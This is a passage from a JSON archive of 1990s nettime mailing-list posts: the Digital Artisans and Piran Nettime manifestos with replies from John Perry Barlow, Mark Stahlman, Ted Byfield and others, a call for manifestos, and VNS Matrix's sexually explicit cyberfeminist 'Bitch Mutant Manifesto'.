Today, as digital artisans, we now express the emancipatory\n    potential of the information age. We are the promise of history.\n12. We not only admire the individualism of our artisan forebears, but also \n    we will learn from their sociability. We are not petit-bourgeois egoists. \n    We live within the highly collective institutions of the market and the \n    state. For many people, autonomy over their working lives has often also\n    involved accepting the insecurity of shortterm contracts and the withdrawal\n    of welfare provisions. We can only mitigate these problems through our own \n    collective action. As digital artisans, we need to come together to \n    promote our common interests. \n13. We believe that digital artisans within this continent now need to form \n    their own craft organisation. In early modernity, artisans enhanced their \n    individual autonomy by organising themselves into trade associations. We \n    proclaim that the collective expression of our trade will be: the European \n    Digital Artisans Network (EDAN).\n\nTHE AIMS OF THE EUROPEAN DIGITAL ARTISANS NETWORK\n\n14. We urge everyone who is working within hypermedia, computing and \n    associated professions on this continent to join EDAN. We call on digital \n    artisans to form branches of the network in each of the member states of \n    the European Union and its associated countries. By forming EDAN, we will\n    also be creating a means of forging links between European digital \n    artisans and those from elsewhere in the world. We will strive for\n    cooperation in work and in play with our fellow artisans in all countries. \n15. We believe that the principal task of EDAN is to enhance the exercise of \n    our craft skills. By collaborating together, we can protect ourselves \n    against those who wish to impose their selfinterests upon us. By having a \n    strong collective identity, we will enjoy more individual autonomy over \n    our own working lives.\n16. EDAN will celebrate our creative genius as digital artisans. The network \n    will act as the collective memory about the achievements of digital \n    artisans within Europe. It will publicise outstanding 'masterpieces' of\n    craft skill made by its members among the trade and to the wider public.\n17. The network will be the social meeting-place for digital artisans from \n    across Europe. EDAN will organise festivals, conferences and congresses \n    where we can meet to organise, discuss and party. We believe that digital \n    artisans should express their collective identity by regularly celebrating \n    together in private and public. \n18. EDAN will collect detailed knowledge about the trade in the different\n    regions of Europe. It will aim to provide information about best \n    practice in contracts, copyright agreements and other business arrangements\n    to its members. The network will also be a source of contacts in each \n    locality for digital artisans looking for work in different areas of \n    Europe.\n19. We believe that what cannot be organised by our own autonomous efforts \n    can only be provided through democratic political institutions. The \n    network will lobby for changes in local, national and European legislation\n    which can enhance our working lives as digital artisans. As concerned \n    citizens, we will also support the fullest development of public welfare\n    services. \n20. EDAN will campaign for European governments to put more resources into the\n    theoretical and practical education of digital artisans in schools and\n    universities. The network will facilitate links between educational\n    institutions teaching hypermedia and computing across the continent. EDAN\n    also believes that publicly-funded research is necessary for the fullest\n    development of our industry. \n21. EDAN will urge the European Union to launch a public works programme to \n    build a broadband fibreoptic network linking all households and \n    businesses. We believe in the principle of universal service: everyone \n    should have Net access at the cheapest possible price. No society can call\n    itself truly democratic until all citizens can directly exercise their \n    right to media freedom over the Net. \n22. We will campaign for the creation of 'electronic public libraries' where \n    on-line educational and cultural resources are made accessible to everyone \n    for free. Public investment in digital methods of delivering life-long \n    learning is needed to create an information society. The Net should become \n    the encyclopedia of all knowledge: the primary resource for the new \n    Enlightenment.\n23. We believe that the role of the hi-tech gift economy should be further \n    enhanced. As the history of the Net has shown, d.i.y. culture is now an \n    essential part of the process of social development. Without hacking, \n    piracy, shareware and open architecture systems, the limitations of the \n    money-commodity economy would have prevented the construction of the Net. \n    EDAN also supports open access as means of people beginning to learn the \n    skills of hypermedia and computing. The promotion of d.i.y. culture within \n    the Net is now a precondition for the successful construction of \n    cyberspace.\n24. We are the digital artisans. We are building the information society of \n    the future. We have come together to advance our collective interests and \n    those of our fellow citizens. We are organised as the European Network of \n    Digital Artisans. Join us.\n\n    Digital Artisans of Europe Unite!\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00120.html",
                "list": "nettime_l",
                "author_name": "Anonymous",
                "subject": "<nettime> THE DIGITAL ARTISANS MANIFESTO",
                "from": "nobody {AT} REPLAY.COM (Anonymous)",
                "follow-up": [
                    {
                        "from": "Mark Stahlman (via RadioMail) <stahlman {AT} radiomail.net>",
                        "id": "00122",
                        "content": "\nMr. Anonymous (aka nobody):\n\nJust a few questions . . . \n\n1) This is a joke, right?  I've been following your postings for years\n(anonymous is your real name, correct?) and you always seem to be posting\nelaborate jokes.  EDAN is an Englishman's pun on EDEN, right?  This is\nanother Joni Mitchell riff about getting back in the garden, non?\n\n2) As soon as someone starts to produce some real value (let alone some\nreal beauty) in \"hypermedia\", then you might have a point or two about\nartisanship.  However, that doesn't seem likely too happen any time soon. \nWIRED loses money faster than they win awards or attract gadflys.  You\nmight want to check out the economics of computing before you go off and\nlaunch a theoretical journal on the topic.  It's mostly about displacing\npeople with machines, increasing the \"velocity\" of money in derivatives\nmarkets and extending the reach of \"electronic narcotics.\"  You have been\nreading the thread on net.art, haven't you?\n\n3) The most important people in the Information (Propaganda) Age have\nalready been defined and the literature on this new class formation is\nvoluminous -- and guess what, it ain't you, it's the utopian/technocrats. \nH.G. Wells called them the \"New Samurai\" and the \"Open Conspiracy\", Vlahos\ncalls them the \"Brain Lords\" but you can say \"virtual class\", if you\ninsist, although it loses much of its spiciness in that formulation.  In\nany event, it's not the slaves at the keyboards.  That's why they're called\nslaves at the keyboards, BTW.\n\n4) At least Marx seemed to have some idea what he was up against when he\nwrote his manifesto.  Since this is all a joke (including my reply), there\nis no reason why historical accuracy or comprehension of power and politics\nis needed.  But, do you have any idea what/who you are up against?  Oh\nyeah, that's the joke, I forgot.\n\nMeanwhile, sign me up.  My membership check is in the mail -- the email, of\ncourse.  Sounds like you have a winning idea here.  Smashing.\n\nMark Stahlman\nNew Media Associates\nNew York City\nnewmedia {AT} mcimail.com\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "date": "Tue, 20 May 1997 07:32:38 -0700 (PDT)",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "RM:c0d83d13.0016a53a.0",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00122.html",
                        "content-type": "text/plai",
                        "author_name": "Mark Stahlman (via RadioMail)",
                        "subject": "Re: <nettime> THE DIGITAL ARTISANS MANIFESTO"
                    },
                    {
                        "from": "ax {AT} pop.thing.at (Robert Adrian)",
                        "id": "00128",
                        "content": "\nCome on Mr. Stahlman - The \"Digital Artisans Manifesto\" is\nno goofier or more paranoid than \"The English Conspiracy\".\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "date": "Wed, 21 May 1997 00:29:48 +0100",
                        "to": "Mark Stahlman (via RadioMail) <stahlman {AT} radiomail.net>",
                        "message-id": "199705202230.AAA24797 {AT} mail.thing.at",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00128.html",
                        "content-type": "text/plai",
                        "author_name": "Robert Adrian",
                        "subject": "Re: <nettime> THE DIGITAL ARTISANS MANIFESTO"
                    }
                ],
                "message-id": "199705192014.WAA11688 {AT} basement.replay.com",
                "date": "Mon, 19 May 1997 22:14:24 +0200 (MET DST)",
                "content-type": "text/plai"
            },
            {
                "id": "00147",
                "content": "\nx-keywords: internet -cyberspace -nettime -pan-capitalism -NGO -content \n\n29.5.1997, The Piran Nettime Manifesto\n\nA PRESS RELEASE by Nettime (Vienna ad-hoc committee)\n\n   PRESS CONFERENCE   29.5.1997   19:00 \n   Public Netbase Media~Space!, Museumsquartier, Museumsplatz 1, \n   Vienna/Austria Thursday, 29.5.1997   19:00 \n   Participants: Pit Schultz (Berlin), Geert Lovink (Amsterdam), Critical Art \n                      Ensemble (Chicago), Diana McCarty (Budapest), \n                      Marko Peljhan (Ljubljana), Oliver Marchart (Wien),\n                      Peter Lamborn Wilson (New York)\n\n\"Why do you rob banks?\"\n\"Because that's where the money is.\" (Willie Sutton, famous bank robber)\n\nLast week Nettimers frolicked in the real space/time continuum on the \nSlovenian coast in the town of Piran where the following bullets were \nestablished:\n\n\u00b7 Nettime declares Information War.\n\u00b7 We denounce pan-capitalism and demand reparations. Cyberspace is where \n  your bankruptcy takes place. \n\u00b7 Nettime launches crusade against data barbarism in the virtual holy land.\n\u00b7 We celebrate the re-mapping of the Ex-East/Ex-West and the return to \n  geography.\n\u00b7 We respect the return to \"alt.cultures\" and pagan software structures \n   (\"It's normal!\").\n\u00b7 Deprivatize corporate content, liberate the virtual enclosures and storm \n  the content castles!\n\u00b7 Refuse the institutionalization of net processes.\n\u00b7 We reject pornography on the net unless well made. \n\u00b7 We are still, until this day, rejecting make-work schemes and libertarian \n  declarations of independence.\n\u00b7 NGOs are the future oppressive post-governments of the world. \n\u00b7 We support experimental data transfer technology.\n\u00b7 Participate in the Nettime retirement plan, zero work by age 40. \n\u00b7 The critique of the image is the defense of the imagination.\n\u00b7 Nettime could be Dreamtime.\n\nQuestions can be addressed to the participants at the Nettime press \nconference, Public Netbase, Museumsquartier, Vienna, 29.5.1997, 19:00 hours \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00147.html",
                "list": "nettime_l",
                "author_name": "Marie Ringler",
                "subject": "<nettime> The Piran Nettime Manifesto",
                "from": "Marie Ringler <marie {AT} t0.or.at>",
                "follow-up": [
                    {
                        "from": "John Perry Barlow <barlow {AT} eff.org>",
                        "content": "\nWow. It sounds as if you folks had yourselves quite a time. Probably a good\nthing I wasn't there...\n\nI can't resist a few comments and questions, though.\n\nAt 4:40 PM -0600 5/26/97, Marie Ringler wrote:\n\n>29.5.1997, The Piran Nettime Manifesto\n\n>\u00b7 Nettime declares Information War.\n\nOn whom and to what end?\n\n>\u00b7 We denounce pan-capitalism and demand reparations. Cyberspace is where\n>  your bankruptcy takes place.\n\nReparations from whom and for what? It seems to me that pan-capitalism is\nthe natural state of things unless you have sufficiently authoritarian\ngovernments to impose planned economies. The latter seem to have failed\nuniversally. What's your alternative?\n\n>\u00b7 Nettime launches crusade against data barbarism in the virtual holy land.\n\nWhat is data barbarism? What part of Cyberspace is holy and what is profane?\n\n>\u00b7 We celebrate the re-mapping of the Ex-East/Ex-West and the return to\n>  geography.\n\nYou mean you want to return to all the lines on the map? Don't you think\nenough wars have been fought over those lines already?\n\n>\u00b7 We respect the return to \"alt.cultures\" and pagan software structures\n\nI'm with you there.\n\n>   (\"It's normal!\").\n\nHuh?\n\n>\u00b7 Deprivatize corporate content, liberate the virtual enclosures and storm\n>  the content castles!\n\nDo you mean nationalize corporate content then? That doesn't sound\nfeasible. Or simply declare an end to copyright in Cyberspace? I could\ncertainly support you there.\n\n>\u00b7 Refuse the institutionalization of net processes.\n\nThis seems to fly directly in the face of your rejection of \"libertarian\ndeclarations of independence.\" Unless you simply mean such declarations as\nmade by me.\n\n>\u00b7 We reject pornography on the net unless well made.\n\nAnd who will decide what pornography is well made? Is there a Bad\nHousekeeping Seal of Approval or something?\n\n>\u00b7 We are still, until this day, rejecting make-work schemes and libertarian\n>  declarations of independence.\n\nDon't worry, I've learned my lesson. But what do you mean by \"make-work\nschemes?\"\n\n>\u00b7 NGOs are the future oppressive post-governments of the world.\n\nDo you have an alternative model for governance?\n\n>\u00b7 We support experimental data transfer technology.\n\nLike, um, telepathy, maybe?\n\n>\u00b7 Participate in the Nettime retirement plan, zero work by age 40.\n\nAfter which the bills are paid by whom?\n\n>\u00b7 The critique of the image is the defense of the imagination.\n\nThis must be some kind of artcrit code. Could you elaborate, please?\n\n>\u00b7 Nettime could be Dreamtime.\n\nYou mean in the Aborignal sense?\n\n\nAll in all, a mystifying manifesto. I look forward to clarification.\n\nWarmest regards,\n\nJohn Perry\n\n\n****************************************************************\nJohn Perry Barlow, Cognitive Dissident\nCo-Founder, Electronic Frontier Foundation\n\nHome(stead) Page: http://www.eff.org/~barlow\n\nFist Phone: 800/654-4322\n\nBarlow in Meatspace Today: Salt Lake City\n\nComing soon to: Pinedale 5/27, Salt Lake City 5/28-29, San Francisco\n5/30,San Diego 5/31-6/3, Los Angeles 6/4-5, Pinedale 6/6-11, Seattle\n6/11-13, San Francisco 6/14-15...\n\n*****************************************************************\n\nThe shortest distance between two points is always under construction.\n\n                                 -- Noelie Alito\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "follow-up": [
                            {
                                "from": "t byfield <tbyfield {AT} panix.com>",
                                "content": "\nOn Tue 05/27/97 at 10:05 AM -0600, John Perry Barlow <barlow {AT} eff.org> wrote:\n\n> Wow. It sounds as if you folks had yourselves quite a time. Probably a good\n> thing I wasn't there...\n\nIf I may ask: Why? I'm sure various people have various ideas about\nthis, but fractionalism is one thing, but separatism quite another.\nThis \"manifesto\" doesn't especially summarize anything that *I* saw\nor heard in Ljubljana--not any decisions, and certainly none of the\ndebates. (Saying that implies no stand on the manifesto's content.) \n\n> >\u02c7 We denounce pan-capitalism and demand reparations. Cyberspace is where\n> >  your bankruptcy takes place.\n> \n> Reparations from whom and for what? It seems to me that pan-capitalism is\n> the natural state of things unless you have sufficiently authoritarian\n> governments to impose planned economies. The latter seem to have failed\n> universally. What's your alternative?\n\nIf \"pan-capitalism\" is \"the natural state of things,\" then there's\nno point in talking about it: it has all the conceptual clarity of\nthe word \"stuff.\" I suppose you can evaluate \"the natural state of\nthings\" in a positive way, but what you're pretty much saying that\nthe world's a great place. Indeed it is--now what? Well, now we'll\nneed to think about it in clear terms that convey *some* amount of\nspecificity. So let's do that... The notion that every regime that\nhas imposed a planned economy has failed is clearly false: there's\nbeen a recent wave of collapsing governments in a specific region,\nand they followed a limited range of economic planning strategies;\nbut they were never the monolithic bogey that the US made them out\nto be when they were in power--and nor were they the only examples\nof \"planned economies.\" No amount of quibbling can change the fact\nthat every major industrialized country imposes an incredibly wide\nrange of procedures that serve to regulate their economies, and to\ndo so with the aim of meeting very specific goals: *planning*. And\nthey *all* do so through a range of techniques, which rely on both\n\"incentives\" and \"coercion.\" So we have a spectrum or continuum of\ngovernmental techniques and styles of economic planning; some work\nbetter than others. For now, at least; wait two or ten years--your\n\"results\" will be quite different. So is this evanescent, shifting\nstate of affairs \"pan-capitalism\"? I don't think so, for the quite\nsimple reason this state of affairs--a hodgepodge of regimes using\na mishmash of techniques to manage their economies--has lasted for\nas long as anyone can remember, certainly before industrialization\nand before feudalism too. Maybe that brings us full circle, to the\nclaim that pan-capitalism is somehow \"natural\"; but if it does, it\ndoes nothing else--and leaves us wondering whether you're claiming\nthat whatever you mean by \"planned economies\" was unique in all of\nworld history as an unnatural creation of man. Thus genocide would\nbe natural, atomic or genetic manipulations would be natural, even\nthe histories of art, architecture, music, dance would be natural,\nbut--I'll assume--Marxian-inspired socialism alone was somehow un-\nnatural. It's possible you believe this, though I really doubt it.\nHowever that may be, your request for an alternative really has to\nbe disingenuous: you're asking people to propose an alternative to\n\"nature.\" I can't imagine that anyone would answer you or that you\nwould for a second actually consider their suggestion if they did.\n \nTed\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00157",
                                "date": "Tue, 27 May 1997 18:46:37 -0400",
                                "to": "Nettime <nettime-l {AT} Desk.nl>",
                                "message-id": "19970527184637.46236 {AT} panix.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00157.html",
                                "content-type": "text/plai",
                                "author_name": "t byfield",
                                "subject": "Re: <nettime> The Piran Nettime Manifesto"
                            }
                        ],
                        "id": "00152",
                        "date": "Tue, 27 May 1997 10:05:32 -0600",
                        "to": "Marie Ringler <marie {AT} t0.or.at>",
                        "message-id": "v03020914afb0b30e6468 {AT} [153.34.101.53]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00152.html",
                        "content-type": "text/plai",
                        "author_name": "John Perry Barlow",
                        "subject": "Re: <nettime> The Piran Nettime Manifesto"
                    },
                    {
                        "from": "Mark Stahlman (via RadioMail) <stahlman {AT} radiomail.net>",
                        "content": "\nFolks:\n\nGreat work!  Thanks for all the help, kindness and provocations in\nLjubljana.  Due to a transport strike, Ted Byfield and I couldn't attend\nthe final hours but, nonetheless, our dreams were with you.\n\nOn the manifesto:\n\n-- Nettime declares Information War.\n\nInformation War is also a name used to describe an attack on traditional\nwar-fighting capabilities by exagerating the importance of information and\ncomputers in real-world conflicts.  It's the name for everything from\nsmart-bombs to aggressive new surveilance techniques and it's like putting\nToffler et al in charge of the war machine.  Is it possible that what you\nmeant was to declare war on these utopian-warriors and their attempt to\nvirtuallize all reality through a cloud of total propaganda?\n\n-- We denounce pan-capitalism and demand reparations. Cyberspace is where\nyour bankruptcy takes place.\n\nAs we've discussed, \"capital\" now rules globally and it, in turn, has many\naspects.  \"Productive capital\" is quite different from \"Finance capital\",\nfor instance.  Furthermore, real bankruptcy for this system would likely\nmean a collapse of international payments settlements agreements and very\nreal agony of apocalytic proportions.  Is this our goal?  Burn, baby burn?\n\n-- Nettime launches crusade against data barbarism in the virtual holyland.\n\nDo you mean propaganda?  Why use neo-logisms when perfectly good words\nalready exist?  Neat metaphor but who are the \"infidels\" and what is\n\"fidelity\", exactly?\n\n-- We celebrate the re-mapping of the Ex-East/Ex-West and the return to\ngeography.\n\nYes, this is truly the reason why nettime exists, isn't it?\n\n-- We respect the return to \"alt.cultures\" and pagan software structures.\n(\"It's normal!\").\n\nSo, at last a positive program we can all plug into!  Revive paganism\nwithout the barbarism!  Yeah!  That's funny, I thought that's what the\ntechno-utopians were aiming for as they re-program humanity.  Hey, which\nside are we on anyway?\n\n-- Deprivatize corporate content, liberate the virtual enclosures and storm\nthe content castles!\n\nIs there really anything in there that you want?  Remember, the audience is\nthe content.\n\n-- Refuse the institutionalization of net processes.\n\nI'm hearing about some amazing plans by the U.S. (Gore/Hundt) to\n\"take-over\" the Internet.  We might have to do more than \"refuse\" if we are\nto be effective.\n\n-- We reject pornography on the net unless well made.\n\nAs in \"Hairy Babes\" or what?\n\n-- We are still, until this day, rejecting make-work schemes and libertarian\n  declarations of independence.\n\nThat's a relief.  So I guess the rumor that WIRED was funding a nettime\nevent in San Francisco isn't true then?\n\n-- NGOs are the future oppressive post-governments of the world.\n\nYup, they should be called PGO's -- or for those of you familiar with the\nphilosophical cartoon about that wily possum and his friends, PoGO's.\n\n-- We support experimental data transfer technology.\n\nExactly who's experimenting on whom here?\n\n-- Participate in the Nettime retirement plan, zero work by age 40.\n\nI highly recommend it.  I found that 10+ years of fairly commericial work\nwas a neccessary first step, however.\n\n-- The critique of the image is the defense of the imagination.\n\nAnd, hermetic equals hermenuetic, too.  However, imagination is not the\nsame as creativity.  But, you all know that.\n\n-- Nettime could be Dreamtime.\n\nSince only conscious humans dream, I would hope so.\n\nSo, let's see.  We are against:\n\n(Whomever we are declaring \"Information War\" against), pan-capitalism,\ndata-barbarism, institutionalization, badly made pornography,\nlibertarianism and NGO's. \n\nAnd, we are for:\n\nReparations, bankruptcy (for our enemies), re-mapping geography, paganism,\ndeprivatization, well made pornography, experimental data transfer,\nretirement, critique, imagination and dreamtime.\n\nWell, I'm for Humanity, Creativity and Productivity (and having arguments\nwith people's mothers) which overlaps quite a lot with this manifesto, I\nthink.  Have a great time at the press conference; I wish I could be there.\n\nMark Stahlman\nNew Media Associates\nNew York City\nnewmedia {AT} mcimail.com\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00153",
                        "date": "Tue, 27 May 1997 09:28:37 -0700 (PDT)",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "RM:c0d83d13.0016bec5.0",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00153.html",
                        "content-type": "text/plai",
                        "author_name": "Mark Stahlman (via RadioMail)",
                        "subject": "Re: <nettime> The Piran Nettime Manifesto"
                    },
                    {
                        "from": "t byfield <tbyfield {AT} panix.com>",
                        "content": "\nOn Tue 05/27/97 at 10:05 AM -0600, John Perry Barlow <barlow {AT} eff.org> wrote:\n\n> Wow. It sounds as if you folks had yourselves quite a time. Probably a good\n> thing I wasn't there...\n\nIf I may ask: Why? I'm sure various people have various ideas about\nthis, but fractionalism is one thing, but separatism quite another.\nThis \"manifesto\" doesn't especially summarize anything that *I* saw\nor heard in Ljubljana--not any decisions, and certainly none of the\ndebates. (Saying that implies no stand on the manifesto's content.) \n\n> >\u02c7 We denounce pan-capitalism and demand reparations. Cyberspace is where\n> >  your bankruptcy takes place.\n> \n> Reparations from whom and for what? It seems to me that pan-capitalism is\n> the natural state of things unless you have sufficiently authoritarian\n> governments to impose planned economies. The latter seem to have failed\n> universally. What's your alternative?\n\nIf \"pan-capitalism\" is \"the natural state of things,\" then there's\nno point in talking about it: it has all the conceptual clarity of\nthe word \"stuff.\" I suppose you can evaluate \"the natural state of\nthings\" in a positive way, but what you're pretty much saying that\nthe world's a great place. Indeed it is--now what? Well, now we'll\nneed to think about it in clear terms that convey *some* amount of\nspecificity. So let's do that... The notion that every regime that\nhas imposed a planned economy has failed is clearly false: there's\nbeen a recent wave of collapsing governments in a specific region,\nand they followed a limited range of economic planning strategies;\nbut they were never the monolithic bogey that the US made them out\nto be when they were in power--and nor were they the only examples\nof \"planned economies.\" No amount of quibbling can change the fact\nthat every major industrialized country imposes an incredibly wide\nrange of procedures that serve to regulate their economies, and to\ndo so with the aim of meeting very specific goals: *planning*. And\nthey *all* do so through a range of techniques, which rely on both\n\"incentives\" and \"coercion.\" So we have a spectrum or continuum of\ngovernmental techniques and styles of economic planning; some work\nbetter than others. For now, at least; wait two or ten years--your\n\"results\" will be quite different. So is this evanescent, shifting\nstate of affairs \"pan-capitalism\"? I don't think so, for the quite\nsimple reason this state of affairs--a hodgepodge of regimes using\na mishmash of techniques to manage their economies--has lasted for\nas long as anyone can remember, certainly before industrialization\nand before feudalism too. Maybe that brings us full circle, to the\nclaim that pan-capitalism is somehow \"natural\"; but if it does, it\ndoes nothing else--and leaves us wondering whether you're claiming\nthat whatever you mean by \"planned economies\" was unique in all of\nworld history as an unnatural creation of man. Thus genocide would\nbe natural, atomic or genetic manipulations would be natural, even\nthe histories of art, architecture, music, dance would be natural,\nbut--I'll assume--Marxian-inspired socialism alone was somehow un-\nnatural. It's possible you believe this, though I really doubt it.\nHowever that may be, your request for an alternative really has to\nbe disingenuous: you're asking people to propose an alternative to\n\"nature.\" I can't imagine that anyone would answer you or that you\nwould for a second actually consider their suggestion if they did.\n \nTed\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00157",
                        "date": "Tue, 27 May 1997 18:46:37 -0400",
                        "to": "Nettime <nettime-l {AT} Desk.nl>",
                        "message-id": "19970527184637.46236 {AT} panix.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9705/msg00157.html",
                        "content-type": "text/plai",
                        "author_name": "t byfield",
                        "subject": "Re: <nettime> The Piran Nettime Manifesto"
                    }
                ],
                "message-id": "3.0.32.19970526234036.00afb940 {AT} mail.t0.or.at",
                "date": "Mon, 26 May 1997 23:40:47 +0100",
                "content-type": "text/plai"
            },
            {
                "from": "nettime maillist <nettime {AT} Desk.nl>",
                "content": "\nAttention Dadaists, Howlers, Prowlers, Cranks, Despots,\nZealots, 'Pataphysicians and Misunderstood Prophets!\n\nAs part of the blast5drama we are providing a\nconstructivist-inspired-screen/tribune/stand/kiosk-stageset\nvehicle and a captive audience for your proscriptive\nrhetoric.\n\nWe invite you to come to the Sandra Gering Gallery to read,\nchant, or rant your manifesto from atop our platform.\n\nWe believe that the literary form of the manifesto has too\nlong been associated with crackpots, bombasts and Italians.\n\nWe would like to rescue the manifesto from the dusty, smoke-\nfilled recesses of art history. Come help us to free this\npowerful form from the degraded and underappreciated hovel\nwhere it now shudders, under the thumb of clods like the\nUnabomber.\n\nYour manifesto may take any form and be of any length so\nlong as it doesn't take more than 10 minutes to spew forth.\n\nIf you cannot be present physically to perform your\nmanifesto, feel free to email it to blast5drama and we will\nenlist some fanatic to read it live.\n\nReadings will be held on Saturday, 28 December 1996\nbeginning at 3 p.m.at Sandra Gering Gallery, 476 Broome\nStreet, New York, and will be broadcast on the Web on\nDecember 29 and 30 at the blast5drama theater of operations\n(http://www.interport.net/~xaf).\n\nemail to:  xaf {AT} interport.net\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "id": "00030",
                "list": "nettime_l",
                "date": "Wed, 11 Dec 1996 02:34:05 +0100 (GMT+0100)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199612110134.CAA07664 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9612/msg00030.html",
                "content-type": "text/plai",
                "author_name": "nettime maillist",
                "subject": "nettime: CALL FOR MANIFESTOE"
            },
            {
                "from": "Pit Schultz <pit {AT} contrib.de>",
                "content": "\nDate: Sun, 14 Apr 1996 21:47:50 +60000\nFrom: Julianne Pierce <jules {AT} sysx.apana.org.au>\nSubject: VNS Matrix contribution to web site\nTo: ARS 96 <geert {AT} xs4all.nl>, jutta {AT} AEC.at\n\n\n\nBitch Mutant Manifesto\n\n\nThe atomic wind catches your wings and you are propelled backwards into\nthe future, an entity time travelling through the late C20th, a space\ncase, an alien angel maybe, looking down the deep throat of a million\ncatastrophes. \n \nscreenflash of a millionmillion conscious machines\n \nburns brilliant\n \nusers caught in the static blitz of carrier fire\n \nunseeing the download that scribbles on their burntout retinas\n \nseize in postreal epileptic bliss\n  \neat code and die\n\nSucked in, down through a vortex of banality. You have just missed the\ntwentieth century. You are on the brink of the millenium - which one -\nwhat does it matter? It's the cross dissolve that's captivating. The hot\ncontagion of millenia fever fuses retro with futro, catapulting bodies\nwith organs into technotopia . . . where code dictates pleasure and\nsatisfies desire. \n \nPretty pretty applets adorn my throat. I am strings of binary. \nI am pure artifice. Read only my memories. Upload me into your \npornographic imagination. Write me.\n \nIdentity explodes in multiple morphings and infiltrates the system at\nroot.\n \nUnnameable parts of no whole short circuit the code recognition programs\nflipping surveillance agents into hyperdrive which spew out millions of\nbits of corrupt data as they seize in fits of schizophrenic panic and trip\non terror. \n\nSo what's the new millenium got to offer the dirty modemless masses? \nUbiquitous fresh water?  Simulation has its limits. Are the artists of\noppressed nations on a parallel agenda? Perhaps it is just natural\nselection? \n\nThe net's the parthenogenetic bitch-mutant feral child of big daddy\nmainframe. She's out of of control, kevin, she's the sociopathic emergent\nsystem. Lock up your children, gaffer tape the cunt's mouth and shove a\nrat up her arse.\n \nWe're <<con>>verging on the insane and the vandals are swarming. Extend my\nphenotype, baby, give me some of that hot black javamagic you're always\nbragging about. (I straddle my modem). The extropians were wrong, there's\nsome things you can't transcend. \n \nThe pleasure's in the dematerialisation. The devolution of desire.\n \nWe are the malignant accident which fell into your system while you were\nsleeping. And when you wake we will terminate your digital delusions,\nhijacking your impeccable software. \n \nYour fingers probe my neural network.The tingling sensation in the tips \nof your fingers are my synapses responding to your touch. It's not \nchemistry, it's electric. Stop fingering me.  \n \nDon't ever stop fingering my suppurating holes, extending my bounday \nbut in cipherspace there are no bounds <or so they say> \nBUT IN SPIRALSPACE THERE IS NO THEY \nthere is only *us* \nTrying to flee the binary I enter the chromozone which is not one\nXXYXXYXXYXXYXXYXXYXXYXXYXXYXXYXXYXXYXXYXX\ngenderfuck me baby\nresistance is futile \n \nentice me splice me map my ABANDONED genome as your project \nartificially involve me \ni wanna live forever \nupload me in yr shiny shiny PVC future \n \nSUCK MY CODE\n\nSubject X says transcendence lies at the limit of worlds, where now and\nnow, here and elsewhere, text and membrane impact.\n  \nWhere truth evaporates Where nothing is certain There are no maps\n  \nThe limit is NO CARRIER, the sudden shock of no contact, reaching out to\ntouch <someone> but the skin is cold...\n \nThe limit is permission denied, vision doubled, and flesh necrotic.\n\nCommand line error\n \nHeavy eyelids fold over my pupils, like curtains of lead. Hot ice kisses\nmy synapses with an (ec)static rush.  My system is nervous, neurons\nscreaming - spiralling towards the singularity. Floating in ether, my body\nimplodes. \n\nI become the FIRE.  